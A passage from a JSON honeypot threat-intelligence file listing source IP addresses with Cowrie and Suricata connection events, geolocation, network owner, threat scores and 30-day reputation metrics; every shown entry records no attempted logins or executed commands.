        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.207.127.153": {
      "attack_count": 2,
      "first_seen": "2026-05-22T21:29:41.053Z",
      "last_seen": "2026-05-22T21:30:09.364Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:29:41.053000+00:00",
        "last_seen_30d": "2026-05-22T21:31:11.030000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.126.91.71": {
      "attack_count": 2,
      "first_seen": "2026-05-31T09:13:39.375Z",
      "last_seen": "2026-05-31T09:13:52.732Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T09:13:39.375000+00:00",
        "last_seen_30d": "2026-05-31T09:14:56.810000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.129.238.187": {
      "attack_count": 2,
      "first_seen": "2026-05-24T20:14:24.676Z",
      "last_seen": "2026-05-24T20:14:37.513Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:14:24.676000+00:00",
        "last_seen_30d": "2026-05-24T20:15:47.304000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.157.0.102": {
      "attack_count": 2,
      "first_seen": "2026-05-20T23:14:59.994Z",
      "last_seen": "2026-05-20T23:15:10.019Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T23:14:59.994000+00:00",
        "last_seen_30d": "2026-05-20T23:16:10.409000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.61.27.76": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:26:14.315Z",
      "last_seen": "2026-05-23T08:27:16.061Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:26:14.315000+00:00",
        "last_seen_30d": "2026-05-23T08:28:23.608000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.6.167.18": {
      "attack_count": 2,
      "first_seen": "2026-05-18T23:50:42.167Z",
      "last_seen": "2026-05-18T23:51:03.507Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Lahug",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T23:50:42.167000+00:00",
        "last_seen_30d": "2026-05-18T23:52:11.322000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.196.7.197": {
      "attack_count": 2,
      "first_seen": "2026-05-07T04:47:12.110Z",
      "last_seen": "2026-05-07T04:49:12.114Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Caruaru",
      "asn": 265890,
      "as_org": "GR SOLUCOES TELECOM LTDA - ME",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T04:47:12.110000+00:00",
        "last_seen_30d": "2026-05-07T04:50:14.900000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "154.124.138.136": {
      "attack_count": 2,
      "first_seen": "2026-05-12T16:32:47.782Z",
      "last_seen": "2026-05-12T16:34:47.785Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T16:32:47.782000+00:00",
        "last_seen_30d": "2026-05-12T16:45:41.777000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "154.125.60.113": {
      "attack_count": 2,
      "first_seen": "2026-05-24T14:21:40.715Z",
      "last_seen": "2026-05-24T14:23:40.726Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Mbour",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T14:21:40.715000+00:00",
        "last_seen_30d": "2026-05-24T14:34:14.383000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "167.58.183.140": {
      "attack_count": 2,
      "first_seen": "2026-05-25T03:44:15.515Z",
      "last_seen": "2026-05-25T03:46:15.521Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T03:44:15.515000+00:00",
        "last_seen_30d": "2026-05-26T02:23:34.688000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "168.232.175.25": {
      "attack_count": 2,
      "first_seen": "2026-05-04T06:31:06.963Z",
      "last_seen": "2026-05-04T06:31:20.053Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cl\u00e1udio",
      "asn": 263924,
      "as_org": "Sonik Servicos de Comunicacao LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T06:31:06.963000+00:00",
        "last_seen_30d": "2026-05-04T06:32:24.317000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.83.116.111": {
      "attack_count": 2,
      "first_seen": "2026-05-24T20:34:51.193Z",
      "last_seen": "2026-05-24T20:36:51.198Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "San Pedro Sula",
      "asn": 271971,
      "as_org": "CABLE SATELITE S.DE R.L. DE C.V.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:34:51.193000+00:00",
        "last_seen_30d": "2026-05-24T20:37:56.011000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.103.57.142": {
      "attack_count": 2,
      "first_seen": "2026-05-02T01:03:50.234Z",
      "last_seen": "2026-05-02T01:04:03.691Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bang Khun Thian",
      "asn": 7470,
      "as_org": "TRUE INTERNET Co.,Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:03:50.234000+00:00",
        "last_seen_30d": "2026-05-02T01:05:08.423000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.158.183.88": {
      "attack_count": 2,
      "first_seen": "2026-05-16T17:03:01.271Z",
      "last_seen": "2026-05-16T17:03:13.728Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "New Caledonia",
      "country_code": "NC",
      "city": "Noumea",
      "asn": 56089,
      "as_org": "OFFRATEL",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:03:01.271000+00:00",
        "last_seen_30d": "2026-05-16T17:04:17.916000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "18.145.212.100": {
      "attack_count": 2,
      "first_seen": "2026-05-21T09:16:54.558Z",
      "last_seen": "2026-05-21T09:17:04.708Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:16:54.558000+00:00",
        "last_seen_30d": "2026-05-21T09:18:13.576000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "193.150.247.219": {
      "attack_count": 2,
      "first_seen": "2026-05-16T15:28:51.184Z",
      "last_seen": "2026-05-16T15:29:04.326Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Helsingborg",
      "asn": 1257,
      "as_org": "Tele2 SWIPnet",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:28:51.184000+00:00",
        "last_seen_30d": "2026-05-16T15:30:14.508000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.189.157.114": {
      "attack_count": 2,
      "first_seen": "2026-05-06T11:41:55.054Z",
      "last_seen": "2026-05-06T11:42:08.368Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T11:41:55.054000+00:00",
        "last_seen_30d": "2026-05-06T11:43:13.710000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "2.90.113.116": {
      "attack_count": 2,
      "first_seen": "2026-05-10T11:17:36.883Z",
      "last_seen": "2026-05-10T11:17:50.175Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Jeddah",
      "asn": 39891,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T11:17:36.883000+00:00",
        "last_seen_30d": "2026-05-10T11:18:57.779000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.152.8.160": {
      "attack_count": 2,
      "first_seen": "2026-05-23T12:44:49.502Z",
      "last_seen": "2026-05-23T12:45:23.182Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T12:44:49.502000+00:00",
        "last_seen_30d": "2026-05-23T12:46:26.781000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.17.197.119": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:13:02.297Z",
      "last_seen": "2026-05-23T10:13:36.912Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:13:02.297000+00:00",
        "last_seen_30d": "2026-05-23T10:14:47.499000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.14.254.113": {
      "attack_count": 2,
      "first_seen": "2026-05-04T20:06:36.739Z",
      "last_seen": "2026-05-04T20:06:36.999Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:06:36.739000+00:00",
        "last_seen_30d": "2026-05-04T20:07:43.345000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.236.153.24": {
      "attack_count": 2,
      "first_seen": "2026-05-16T02:40:14.756Z",
      "last_seen": "2026-05-16T02:40:26.993Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T02:40:14.756000+00:00",
        "last_seen_30d": "2026-05-16T02:41:31.389000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.90.147.18": {
      "attack_count": 2,
      "first_seen": "2026-05-15T12:24:43.999Z",
      "last_seen": "2026-05-15T12:24:44.001Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 142594,
      "as_org": "SpeedyPage Ltd",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-15T12:24:41+00:00",
        "last_seen_30d": "2026-05-15T12:26:22.437000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 6,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "46.32.174.216": {
      "attack_count": 2,
      "first_seen": "2026-05-05T16:40:56.494Z",
      "last_seen": "2026-05-05T16:41:09.967Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": null,
      "asn": 205547,
      "as_org": "Flexnet LLC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T16:40:56.494000+00:00",
        "last_seen_30d": "2026-05-05T16:42:12.908000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.53.75.34": {
      "attack_count": 2,
      "first_seen": "2026-05-29T17:10:35.551Z",
      "last_seen": "2026-05-29T17:11:06.900Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T17:10:35.551000+00:00",
        "last_seen_30d": "2026-05-29T17:12:12.299000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "66.108.71.114": {
      "attack_count": 2,
      "first_seen": "2026-05-05T05:43:16.261Z",
      "last_seen": "2026-05-05T05:43:29.345Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Queens",
      "asn": 12271,
      "as_org": "Charter Communications Inc",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T05:43:16.261000+00:00",
        "last_seen_30d": "2026-05-05T05:44:30.442000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "77.31.70.125": {
      "attack_count": 2,
      "first_seen": "2026-05-08T04:17:16.330Z",
      "last_seen": "2026-05-08T04:17:28.860Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Medina",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:17:16.330000+00:00",
        "last_seen_30d": "2026-05-08T04:18:29.648000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.211.162.45": {
      "attack_count": 2,
      "first_seen": "2026-05-20T02:49:18.807Z",
      "last_seen": "2026-05-20T02:49:29.065Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 35.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 15.0,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 18,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T17:26:41.134000+00:00",
        "last_seen_30d": "2026-05-28T21:44:20.535000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2
      }
    },
    "85.184.35.230": {
      "attack_count": 2,
      "first_seen": "2026-05-15T04:18:27.732Z",
      "last_seen": "2026-05-15T04:18:39.899Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": "Nablus",
      "asn": 51407,
      "as_org": "Mada Al-Arab General Services Company",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
